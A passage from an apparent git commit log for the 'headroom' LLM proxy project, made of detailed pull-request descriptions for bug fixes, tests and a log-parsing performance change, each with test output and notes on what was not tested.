release-please from my Conventional Commit PR title

## Additional Notes

This mirrors the recently fixed Gemini CCR-continuation present-null
usage bug: the same `dict.get(key, default)` present-null trap, on the
parallel Anthropic backend path. Only the buffered (non-streaming)
backend branch was affected; the direct-Anthropic and streaming paths
already coerce with `or 0`.
2026-08-17 20:21:09 -07:00
Parideboy
c3c921f2f7
test(install/windows): verify the PATH guard against the real HKCU registry (#3068)
## Description

Follow-up requested in review of #2972, on top of the merged fix for
#2970 (#2985). Test-only; no
production code is touched and the `HEADROOM_INSTALL_PATH_SCOPE`
mechanism is unchanged.

`test_powershell_installer_does_not_leak_into_user_path` currently
guards the fix by comparing the
entry count of `[Environment]::GetEnvironmentVariable('Path','User')`
across an installer run. That
infers success from the environment variable rather than verifying it,
and it leaves three gaps:

- The .NET getter expands `%USERPROFILE%`-style references, so it cannot
observe a change of the
  registry value kind (`REG_EXPAND_SZ` vs `REG_SZ`) at all.
- A count comparison passes when an entry is replaced or reordered
rather than appended.
- There is no restore path. If the guard regresses, the test reports the
leak and then leaves the
polluted value behind in the contributor's registry, which is precisely
the damage #2970
  described: the test that detects the pollution also causes it.

This PR reads `HKCU\Environment` directly instead, so the assertion
verifies the guard rather than
assuming it.

## Type of Change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [x] Code refactoring (no functional changes)

## Changes Made

- `tests/test_install/test_native_installers.py`: new
`_read_user_path_entry` helper returning the
raw `HKCU\Environment` `Path` value together with its registry kind (or
`None` when the value is
absent), and `_restore_user_path_entry` writing that exact value and
kind back. Both import
`winreg` inside the function body, so the module still imports on
non-Windows hosts.
- `tests/test_install/test_native_installers.py`:
`test_powershell_installer_does_not_leak_into_user_path`
now records the raw value before the run and asserts both that the
throwaway install dir is absent
from the value afterwards (naming the #2970 symptom in the failure
message) and that value and
kind are byte-identical. The PowerShell subprocess that counted PATH
entries is gone, so the test
  also spawns one process fewer.
- `tests/test_install/test_native_installers.py`: the test now runs
under `try/finally`. The
`finally` cleans up the fake docker state, which this test was missing
relative to its sibling

`test_powershell_native_installer_supports_persistent_docker_lifecycle`,
and restores the recorded
registry value only when it actually changed, so a passing run performs
zero registry writes and a
  regressed run cannot leave the contributor's PATH polluted.

The scope allow-list tests added by #2985 (`_ENSURE_PATH_SCOPE_HARNESS`,
`test_path_scope_accepts_process_case_insensitively`,
`test_path_scope_rejects_machine_and_invalid_values`)
are untouched.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run pytest tests/test_install/test_native_installers.py -q
platform win32 -- Python 3.13.11, pytest-9.0.3, pluggy-1.6.0
collected 5 items

tests\test_install\test_native_installers.py s....                       [100%]

======================== 4 passed, 1 skipped in 23.59s ========================

$ uv run ruff check .
All checks passed!

$ uv run ruff format --check tests/test_install/test_native_installers.py
1 file already formatted

$ uv run mypy headroom --ignore-missing-imports
Success: no issues found in 521 source files
```

The strengthened assertion was proven to detect a regression by
temporarily neutralising the scope
override in `scripts/install.ps1` (`if ($false -and
$env:HEADROOM_INSTALL_PATH_SCOPE)`), so
`Ensure-PathEntry` writes the `User` scope unconditionally again:

```text
$ uv run pytest tests/test_install/test_native_installers.py -q -k does_not_leak_into_user_path
tests\test_install\test_native_installers.py:638: in test_powershell_installer_does_not_leak_into_user_path
    assert str(home) not in (after[0] if after else ""), (
E   AssertionError: installer leaked the throwaway install dir into the real User PATH:
E     C:\Users\<user>\AppData\Local\Temp\pytest-of-<user>\pytest-154\test_powershell_installer_does0\home

======================= 1 failed, 4 deselected in 2.72s =======================
```

## Real Behavior Proof

- Environment: Windows 11 Pro 10.0.26200, PowerShell 7, Python 3.13.11,
pytest 9.0.3, headroom at
  `main` (`a6ab359a`), provider Anthropic
- Exact command / steps: recorded the raw `HKCU\Environment` `Path`
value with
`python -c "import winreg; ...QueryValueEx(k,'Path')"`, capturing its
registry kind, entry count
and a SHA-256 of the value; ran the full installer test file on the
patched tree; re-read the
registry; then neutralised the scope override in `scripts/install.ps1`
as shown above, re-ran the
single leak test, and re-read the registry a third time to confirm the
failure path restored it.
- Observed result: baseline `kind 1 entries 21 sha256 683ee646a95b8a28`.
After the passing run the
value was identical (`kind 1 entries 21 sha256 683ee646a95b8a28`), so a
passing run writes nothing.
With the override neutralised the test failed as quoted above and the
registry read afterwards was
again byte-identical to the recorded backup (compared as an exact
`{value, kind}` match, `True`),
confirming the `finally` restore. After reverting `scripts/install.ps1`,
the full file is back to
  4 passed, 1 skipped with the registry still unchanged.
- Not tested: non-Windows hosts (the changed test is Windows-only and
already skipped elsewhere;
`scripts/install.sh` is untouched), elevated/admin installs, and the
`Machine` scope, which
  `Ensure-PathEntry` rejects outright.

One open question this change is positioned to catch but does not
resolve: on this host the
`HKCU\Environment` `Path` value is `REG_SZ` (kind `1`), not
`REG_EXPAND_SZ`. A real install persists
through `[Environment]::SetEnvironmentVariable(..., 'User')`, which is
the API class known to rewrite
that value, so it is possible that a production install silently
downgrades an expandable PATH and
freezes `%USERPROFILE%`-style entries. I have not verified whether
headroom's installer caused it on
this machine or whether the value was always `REG_SZ`, and this PR
deliberately does not chase it.
Happy to open a separate issue if that is worth investigating.

## Runtime Rollout Safety

- Rollout-managed feature(s): none (test-only change)
- Minimum rollout channel: n/a
- Stable/default behavior changed: no; no production code path is
modified
- Kill switch / disable path: n/a
- Unsafe override required: no
- Qualification impact: none
- Rollback path: revert this commit; the test returns to the entry-count
comparison

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 20:21:03 -07:00
gglucass
6c9f41e08c
perf(perf): skip rotated logs outside the requested window (#3081)
## Description

`parse_log_files(last_n_hours=N)` reads every `proxy.log*` file in full
— line by line, applying the PERF / STAGE_TIMINGS / ROUTER regexes to
each — and only then filters records against the cutoff. The cost of a
windowed query is O(retained log history), not O(window).

`/stats` is the hot caller. `_build_stats_payload` recomputes throughput
over `last_n_hours=1.0` behind a 10s cache TTL, so anything polling the
endpoint re-reads and re-regexes the entire rotated set every 10 seconds
for an answer that lives in the tail of the newest file or two.

Rotation caps the log directory at 10 MB × 5 backups
(`proxy/helpers.py`), so this is a bounded ~60 MB rather than an
unbounded leak. But it is a fixed tax that ramps up as a user's logs
fill toward that ceiling and then stays there — on a machine that has
reached the cap it is ~0.43s of pure waste on every stats rebuild.

The fix: skip any file whose mtime predates the cutoff. The logs are
append-only, so a file untouched since before the window cannot contain
a record inside it. `--hours 0` ("all data") still reads everything.

## Type of Change

- [x] Performance improvement

## Changes Made

- `parse_log_files` prunes rotated files by mtime before opening them;
files are `stat`'d once and the value reused for the ordering
(previously `stat`'d once per file anyway, as the sort key).
- A file that rotates away between `glob` and `stat` is skipped instead
of raising `OSError`.
- New `PerfReport.log_files_skipped` so coverage reporting stays honest
— `log_files_read` on its own would silently understate how much log
exists on disk. Defaulted, so existing callers are unaffected.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

Both new tests were confirmed to fail against unpatched `main`. The
windowed one fails on behavior (`total_lines_parsed`: `assert 2 == 1`),
not merely on the new field — the assertion order is deliberate, since a
read-then-filter implementation produces the same records and only
differs in work done.

### Test Output

```text
$ uv run --frozen --extra dev pytest tests/test_cli_perf_format.py \
    tests/test_proxy_dashboard_stats_cache.py tests/test_agent_savings.py -q
59 passed, 1 skipped, 1 warning in 3.36s

$ uvx ruff check headroom/perf/analyzer.py tests/test_cli_perf_format.py
All checks passed!

$ uvx ruff format --check headroom/perf/analyzer.py tests/test_cli_perf_format.py
2 files already formatted

$ uv run --frozen --extra dev mypy headroom/perf/analyzer.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: macOS 15 (arm64), Python 3.10.18, headroom-ai at
6d2254df, against a real `~/.headroom/logs` holding 54 MB across six
rotations (`proxy.log` + `.1`–`.5`) from a proxy that had been running
for weeks.
- Exact command / steps: pointed `analyzer.LOG_DIR` at the live log
directory and timed `parse_log_files(last_n_hours=1.0)` three times,
taking the median; ran it once on this branch and once with
`headroom/perf/analyzer.py` stashed back to `main`.
- Observed result: main = 0.426s median, 6 files read, 246,819 lines
parsed. This branch = 0.141s median, 2 files read, 4 skipped, 48,147
lines parsed. 3.0x faster, 80% fewer lines parsed, identical throughput
figure. The two files still read are the live log and one rotation that
had been written inside the last hour, which is correct.
- Not tested: Windows and Linux (the mtime semantics used here are
POSIX-standard and `pathlib` handles both, but I ran only macOS). No
benchmark on a log directory below the rotation ceiling — the win there
is proportionally smaller by construction, since there is less stale
history to skip.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is a pure read-path
optimization inside the perf log parser.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: no. Windowed queries return the same
records; only the work to produce them changes. `--hours 0` is
untouched.
- Kill switch / disable path: n/a — revert the commit. There is no flag
because there is no behavior to toggle.
- Unsafe override required: no.
- Qualification impact: none.
- Rollback path: single-commit revert; `PerfReport.log_files_skipped` is
a defaulted field, so no persisted or serialized data depends on it.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
2026-08-17 20:20:56 -07:00
gglucass
c5563d3a7d
fix(learn): include stdout in CLI failure messages, not just stderr (#3080)
## Description

`headroom learn` reports CLI backend failures using **stderr only**.
`claude -p --output-format stream-json --verbose` writes *nothing* to
stderr when the run fails at the API layer, so the failure a user
actually sees is a message that stops at the colon:

```text
LLM analysis failed: `claude -p --output-format stream-json --verbose` failed (exit 1):
```

The reason is not missing, it is discarded. Claude Code still emits a
final `result` event on stdout whose `result` field is the
human-readable cause, and the streaming path has already parsed it into
`final_result` one line above the `raise`. This makes a whole class of
failures undiagnosable for users and maintainers alike: a usage limit,
an unreachable local proxy, and an expired login all render identically
as an empty message.

Reported by a desktop user who could only tell us "sometimes i have this
LLM analysis failed" with nothing after the colon.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Add `_failure_detail(stderr, stdout, *, result_text=None)` in
`headroom/learn/analyzer.py`. Prefers the already-parsed `result` text,
falls back to the **tail** of stdout (CLI backends emit the error last,
after their whole event log), keeps stderr when present, and returns
`"(no output captured)"` so the message is never a dangling colon.
- Use it in `_call_claude_cli_streaming` (streaming claude-cli path) and
in `_call_cli_llm` (the `subprocess.run` backends, gemini-cli /
codex-cli), so the same blind spot is closed for every CLI backend
rather than only the one that was reported.
- Existing truncation behaviour is unchanged: each stream is still
capped at `_MAX_SNIPPET_LEN`.

Complements #3016, which makes an analysis failure propagate instead of
being swallowed as success; that PR fixes *whether* the user learns a
failure happened, this one fixes *what* the failure says. No overlapping
lines.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run --frozen --extra dev pytest tests/test_learn/ -q
247 passed, 4 skipped in 27.08s

$ uvx ruff check headroom/learn/analyzer.py tests/test_learn/test_analyzer.py
All checks passed!

$ uvx ruff format --check headroom/learn/analyzer.py tests/test_learn/test_analyzer.py
2 files already formatted

$ uv run --frozen --extra dev mypy headroom/learn/analyzer.py
Success: no issues found in 1 source file
```

New tests:
`test_claude_cli_nonzero_exit_includes_api_error_from_stdout`,
`test_claude_cli_nonzero_exit_with_no_output_says_so`,
`test_claude_cli_nonzero_exit_keeps_stderr_when_present`,
`test_codex_nonzero_exit_includes_stdout_when_stderr_empty`.

## Real Behavior Proof

- Environment: macOS 15.6 (Darwin 24.6.0), Claude Code 2.1.228, Python
3.10.18, headroom on this branch.
- Exact command / steps: forced an API-layer failure in the exact
command the analyzer runs, capturing the streams separately: `echo "say
hi" | claude -p --output-format stream-json --verbose --settings
'{"env":{"ANTHROPIC_BASE_URL":"http://127.0.0.1:9"}}' > out.txt 2>
err.txt; echo "EXIT=$?"; wc -c err.txt; tail -c 400 out.txt`
- Observed result: `EXIT=1`, `err.txt` is **0 bytes**, and the reason
appears only in the last stdout line: `"terminal_reason":"api_error",
..., "result":"API Error: Connection refused — a firewall or proxy may
be blocking it (ConnectionRefused)"`. A second run with `--bare`
produced the same shape with `"result":"Not logged in · Please run
/login"`. Before this change both surface as `failed (exit 1):` with
nothing after the colon; after it, the `result` text is in the message.
The unit tests encode this exact stream shape (stdout `result` event,
empty stderr, exit 1).
- Not tested: real usage-limit and 429 responses, which I cannot provoke
on demand. They travel the same code path as the reproduced `api_error`
case (final `result` event on stdout, empty stderr), so they are covered
by construction rather than by observation. Windows and the gemini-cli
backend were not exercised manually; the shared helper is covered by
unit tests for both the streaming and `subprocess.run` paths.

## Runtime Rollout Safety

- Rollout-managed feature(s): None. This touches only the error text
raised by `headroom learn`'s CLI backends; no rollout-gated feature,
flag, or runtime component is involved.
- Minimum rollout channel: N/A, not rollout-gated. Ships with the
package like any other library fix.
- Stable/default behavior changed: Yes, narrowly. The message text of an
existing `RuntimeError` on a non-zero CLI exit now includes the
stdout/`result` reason alongside stderr. No control flow, exit code,
public API, or return value changes: the same exception is raised in the
same cases.
- Kill switch / disable path: None needed. Nothing is enabled or newly
executed, so there is nothing to switch off; the only behavioral surface
is the string inside an exception that was already being raised.
- Unsafe override required: No.
- Qualification impact: None. No qualification-gated path, model, or
provider behavior is touched. Callers that pattern-match this message on
`"failed (exit N)"` still match, since that prefix is unchanged.
- Rollback path: Revert this commit. The previous stderr-only message
returns with no migration, state, or config to undo.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-17 20:20:45 -07:00
Abhay Singh
58f28dc7a6
fix(install): honor HEADROOM_PORT in install apply and deploy (#3085)
## Description

`headroom install apply --preset persistent-service` and `headroom
deploy` ignored an explicit `HEADROOM_PORT` and always configured port
8787, even though `headroom proxy --port` honors `HEADROOM_PORT`. Anyone
running a second instance, or avoiding a port conflict, got a silently
wrong configuration, and the failure is especially confusing because the
override *appears* supported on the direct proxy path.

Root cause: the `--port` options on the `install apply` and `deploy`
commands were declared with a hardcoded `default=8787` and **no**
`envvar` binding:

```python
@click.option("--port", "-p", default=8787, type=int, show_default=True, help="Persistent proxy port.")
```

The proxy command's `--port` already carries `envvar="HEADROOM_PORT"`,
so the two paths disagreed. `build_manifest` /
`_build_deployment_manifest` already thread the `port` argument all the
way through to the generated `HEADROOM_PORT` base-env and the health
URL, so the value was simply never resolved from the environment at the
CLI boundary.

## Fix

Bind both `--port` options to `envvar="HEADROOM_PORT"`, matching the
proxy command. Click resolves the value from the environment when
`--port` is not passed, and an explicit `--port` still wins over the env
var (standard Click precedence: explicit CLI argument over `envvar` over
`default`).

## Scope

This addresses **bug 1** of #3072. Bug 2 (`install status` reporting
`Status: stopped` alongside `Healthy: yes`, disagreeing with `doctor`)
is an unrelated status-reporting concern that the reporter offered a
live repro for; it is left for a separate follow-up rather than bundled
here.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/cli/install.py`: add `envvar="HEADROOM_PORT"` to the
`--port` option on both `install apply` and `deploy` (and note the env
var in each help string), matching `headroom proxy --port`.
- `tests/test_cli/test_install_cli.py`: added
`test_install_apply_honors_headroom_port_env`,
`test_install_apply_explicit_port_overrides_env`, and
`test_deploy_honors_headroom_port_env`, capturing the `port` that
reaches the manifest builder.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_cli/test_install_cli.py  40 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 headroom/cli/install.py -> Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted the source fix and ran the two new
env-var tests to capture the bug (`python -m pytest
tests/test_cli/test_install_cli.py::test_install_apply_honors_headroom_port_env
tests/test_cli/test_install_cli.py::test_deploy_honors_headroom_port_env`
-> both failed with `assert 8787 == 8788`, proving `HEADROOM_PORT=8788`
was dropped); restored the fix; re-ran the full file (`python -m pytest
tests/test_cli/test_install_cli.py` -> 40 passed); then `uvx
ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and `uvx mypy@1.20.2
headroom/cli/install.py`.
- Observed result: with the fix, `HEADROOM_PORT=8788 headroom install
apply` (and `deploy`) resolves `port=8788` into `build_manifest`, so the
generated service config and `HEADROOM_PORT` base-env use 8788; passing
`--port 9999` alongside the env var still yields 9999.
- Not tested: an end-to-end persistent-service install on a machine with
a running supervisor (the CLI-to-manifest port resolution is verified
through the manifest builder, which already owns the downstream wiring
covered by the existing planner tests).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is a CLI option-binding fix on
the install/deploy commands, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: only when `HEADROOM_PORT` is set in
the environment. Previously it was ignored (config wired to 8787); now
the install/deploy path honors it, matching `headroom proxy`. With no
`HEADROOM_PORT` set and no `--port`, the default is still 8787, so
existing installs are unaffected.
- Kill switch / disable path: unset `HEADROOM_PORT` (or pass `--port
8787`) to keep the prior port.
- Unsafe override required: no.
- Qualification impact: `install apply` / `deploy` now provision the
proxy on the operator's requested port instead of always 8787, so a
second instance or a port-conflict workaround configures correctly.
- Rollback path: revert this PR; the `--port` options return to ignoring
`HEADROOM_PORT`.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

Reported by @vsg-prog (split out of #3040 into #3072). The `--port`
option already carried the correct `type`/range validation and threaded
through the manifest builder; the only gap was the missing `envvar`
binding at the CLI boundary.
2026-08-17 20:20:38 -07:00
Abhay Singh
3ed8f76019
fix(providers): don't crash on a non-object HEADROOM_MODEL_LIMITS / models.json (#3089)
## Description

`_load_custom_model_config` in both `headroom/providers/anthropic.py`
and `headroom/providers/openai.py` loads the operator's custom model
configuration from `HEADROOM_MODEL_LIMITS` (a JSON string or a file
path) and `~/.headroom/models.json`, then reads it with
`loaded.get(...)`:

```python
loaded = json.loads(env_config)          # or json.load(f)
anthropic_config = loaded.get("anthropic", loaded)
```

The `try` guards only `except (json.JSONDecodeError, OSError)`. When the
value is **valid JSON but not an object** (a JSON array, number, string,
bool, or `null`), `json.loads` succeeds and returns a non-dict, so
`loaded.get(...)` raises `AttributeError` — which is *not* one of the
caught types. Instead of the intended warn-and-fall-back-to-defaults, a
misconfigured `HEADROOM_MODEL_LIMITS` (e.g.
`HEADROOM_MODEL_LIMITS='[1,2,3]'` or `'"gpt-4"'`) crashes provider
initialization. The same gap exists in the `models.json` branch of both
providers.

## Fix

After each load, validate `isinstance(loaded, dict)` and raise
`ValueError` with a clear message, and broaden the handler from `except
(json.JSONDecodeError, OSError)` to `except (ValueError, OSError)`.
`json.JSONDecodeError` is a subclass of `ValueError`, so this strictly
supersets the previous handling: every previously-caught malformed value
still warns and falls back, and a valid-JSON-but-non-object value now
does too, instead of crashing.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/providers/anthropic.py` and `headroom/providers/openai.py`
(`_load_custom_model_config`): add an `isinstance(loaded, dict)` guard
(raising `ValueError`) after the env-var load and after the
`models.json` load, and change both `except` clauses to `(ValueError,
OSError)`.
- `tests/test_provider_model_fallback.py`: added parametrized
`test_non_object_env_var_falls_back_to_defaults` (array / string /
number / bool / null) for both providers, and
`test_non_object_config_file_falls_back_to_defaults` for a non-object
`models.json`.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_provider_model_fallback.py  44 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 headroom/providers/anthropic.py headroom/providers/openai.py -> Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted both providers and ran the new
regressions to capture the bug (`python -m pytest
tests/test_provider_model_fallback.py::TestAnthropicConfigLoading::test_non_object_env_var_falls_back_to_defaults
tests/test_provider_model_fallback.py::TestOpenAIConfigLoading::test_non_object_env_var_falls_back_to_defaults
tests/test_provider_model_fallback.py::TestAnthropicConfigLoading::test_non_object_config_file_falls_back_to_defaults`
-> 11 failed with `AttributeError` on `loaded.get` across the
array/string/number/bool/null shapes); restored the fix; re-ran the full
file (`python -m pytest tests/test_provider_model_fallback.py` -> 44
passed); then `uvx ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and
`uvx mypy@1.20.2` on both providers.
- Observed result: before the fix, `HEADROOM_MODEL_LIMITS='[1,2,3]'` (or
`'"gpt-4"'`, `'42'`, `'true'`, `'null'`) raised `AttributeError` out of
`_load_custom_model_config`; after the fix the same values log a warning
and the loader returns the default `{"context_limits": {}, "pricing":
{}[, "encodings": {}]}`, and a well-formed object config is unchanged.
- Not tested: a live proxy boot with a corrupt `HEADROOM_MODEL_LIMITS`
(the loader is exercised directly, which is the exact function provider
init calls).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is defensive parsing in the
provider model-config loader, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: only for a previously-crashing input.
A non-object `HEADROOM_MODEL_LIMITS` / `models.json` now warns and uses
built-in defaults instead of raising. Well-formed object configs are
parsed exactly as before.
- Kill switch / disable path: N/A — remove or correct the malformed
config value to load custom limits.
- Unsafe override required: no.
- Qualification impact: a corrupt or mistyped model-limits value
degrades to built-in defaults with a warning rather than failing
provider init.
- Rollback path: revert this PR; the loader returns to catching only
`json.JSONDecodeError`/`OSError`.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

Both providers carry the same loader shape, so the guard and the widened
`except` are applied identically to keep them in sync. The message names
the offending source (`HEADROOM_MODEL_LIMITS` vs the resolved
config-file path) so the warning is actionable.
2026-08-17 20:18:58 -07:00
Tejas Chopra
0ec73faa28
fix(ccr): relay a successful upstream turn when post-processing fails (#3094)
## Description

Closes #3088

The buffered CCR path flips a streaming turn to `stream: false` so a
`headroom_retrieve` call can be resolved server-side. Everything it does
*after* the provider answers — retrieval, memory tool calls, turn hooks,
usage accounting, caching, SSE resynthesis — is post-processing layered
on a turn that already succeeded and was already billed.

When any of that raised, the entire turn surfaced to the client as a
generic `api_error`. In the reported capture the provider returned a
complete **69,351-byte** answer in 1.9s and the client received **1,841
bytes**: keepalives, then a synthesized failure. A paid-for response was
discarded because a bookkeeping step downstream of it broke.

**On the reporter's stated root cause:** the "≈30s compression timeout"
inference does not hold. Their own log says *"[12 seconds later]"*,
which matches 49 pings × the 0.25s post-commit interval, not 30s. And
`COMPRESSION_TIMEOUT_SECONDS` guards `_count_offloaded`, which **fails
open** to estimation and cannot propagate. So that correlation is a
coincidence.

**What actually raises is still unidentified**, and that is the second
half of this report. The handler logged `f"Request failed:
{type(e).__name__}: {e}"` with no `exc_info`, which is exactly why the
reporter found "no visible traceback" — and why reading the entire
post-upstream path (memory tool calls, `run_response_hooks`, CCR
handling all catch internally) does not reveal it either.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Capture the upstream response the moment it parses as a 200, before
any post-processing can touch it.
- Wrap the buffered operation so an unexpected raise relays that
captured response as SSE instead of a synthesized error.
- Log the exception with `exc_info=True`. Salvaging **without** this
would paper over the defect permanently; the goal is to stop losing user
turns while making the real bug diagnosable.
- Refuse to salvage a response the client cannot safely consume. A reply
still carrying an unresolved `headroom_retrieve` call is exactly the
case the handler already fails closed on — relaying it would hand the
client a tool call it is not expected to service and a marker nobody
expanded. The check reuses the existing `residual_ccr_status` /
`has_ccr_tool_calls` signals rather than inventing a second notion of
"safe".

**This is containment, not root cause.** It converts a hard failure on a
successful turn into a degraded success, and makes the underlying raise
visible so it can be fixed properly. I have said so in the commit
message too, so this is not mistaken for a full diagnosis later.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] New tests added for new functionality
- [x] Manual testing performed

New `tests/test_buffered_ccr_salvage.py` covers the reported shape
(thinking + text, and the captured `bash` tool_use turn with no retrieve
call), that the healthy path is untouched, and that an unresolved
retrieve call is never relayed.

### Test Output

```text
# BEFORE (main) — the same test file reproduces the report exactly:
E   AssertionError: {"type": "error", "error": {"type": "api_error",
    "message": "An error occurred while processing your request. Please try again."}}
E   assert 502 == 200

# AFTER (this branch):
$ pytest tests/test_buffered_ccr_salvage.py -q
8 passed, 1 warning in 2.94s

$ pytest tests/ -q
3 failed, 11168 passed, 581 skipped in 421.26s (0:07:01)

Same 3 failures as a clean-main baseline run on this machine:
  tests/test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  tests/test_release_workflows.py::test_no_native_tls_in_wheel_build_tree

$ ruff check . && ruff format --check .
All checks passed!
```

## Real Behavior Proof

- Environment: this branch driven through the real FastAPI app with a
stubbed upstream returning a complete 200 turn; macOS arm64, Python
3.12.
- Exact command / steps: posted a buffered CCR turn, then forced a
post-upstream step to raise (`_record_request_outcome`), standing in for
whatever breaks in the field; ran the identical test file against `main`
and against this branch.
- Observed result: on `main` the client gets HTTP 502 with the report's
literal `api_error` string; on this branch the client gets HTTP 200
`text/event-stream` carrying the provider's own content
(`message_start`, thinking, text / `toolu_bash`) and no invented error.
- Not tested: the field defect itself. What raises in the reporter's
environment is still unknown — that is what the added traceback logging
exists to surface. A follow-up will need their logs on a build carrying
this change.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this guards an existing code path
and is not behind a rollout channel.
- Minimum rollout channel: n/a (ships to stable with the fix).
- Stable/default behavior changed: yes, and only in the failure case. A
buffered turn whose post-processing raises now returns the upstream's
answer instead of a 502 `api_error`. Successful turns are
byte-identical.
- Kill switch / disable path: no new switch. The guard only engages on
an exception that previously produced a hard failure, so disabling it
would restore the bug.
- Unsafe override required: no.
- Qualification impact: none — no qualification-gated surface is
touched.
- Rollback path: revert this commit; the previous behavior (synthesized
`api_error`) returns.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`

## Additional Notes

Documentation update is marked N/A: no user-facing flag or endpoint
changes. Type checking (`mypy headroom`) was not run separately; `ruff`
is the gate this repo's CI enforces.

Same family, still open: #3078, #3082, #3017, #2857, #2825. The added
traceback is the fastest route to whether they share this root cause.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 18:06:59 -07:00
Rod Boev
c16be9bbbe
fix(proxy/anthropic): don't replay recorded prefix over live history (#3026) (#3052)
## Description

A Claude Code session that reads a large tool result through `headroom
proxy` can fail on turn 2 with Anthropic's `400 prompt_too_long`. The
reporter's controlled comparison completed eight turns through 0.33.0
with 187,986 input tokens, while 0.35.0 failed after five requests with
753,077 input tokens. The local regression uses an actual prior
optimized request to populate tracker state, then a decision-false
bypass turn with Claude-shaped tool-result content. The old
unconditional replay path substitutes the compressed prefix; the
eligibility gate preserves the client's outbound body without claiming a
live provider reproduction.

The Anthropic `/v1/messages` route computes whether a request should be
compressed, but cached-prefix replay currently runs outside that
decision. The replay helper also derives its prefix length from the
original message list and applies that index to the optimized list
without proving the two lists still align. A stale forwarded prefix can
therefore be grafted onto the wrong positions and enlarge later
requests.

This change limits replay to requests whose existing compression
decision permits it and whose pre-upstream backpressure path is
inactive. It also makes `overlay_cached_prefix()` decline misaligned or
inflating candidates while preserving normal append-only replay.

Reported by @itsumonotakumi, whose controlled comparison isolated the
failure from compression, headers, one-request serialization, memory,
code graph, and CCR.

Closes #3026

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

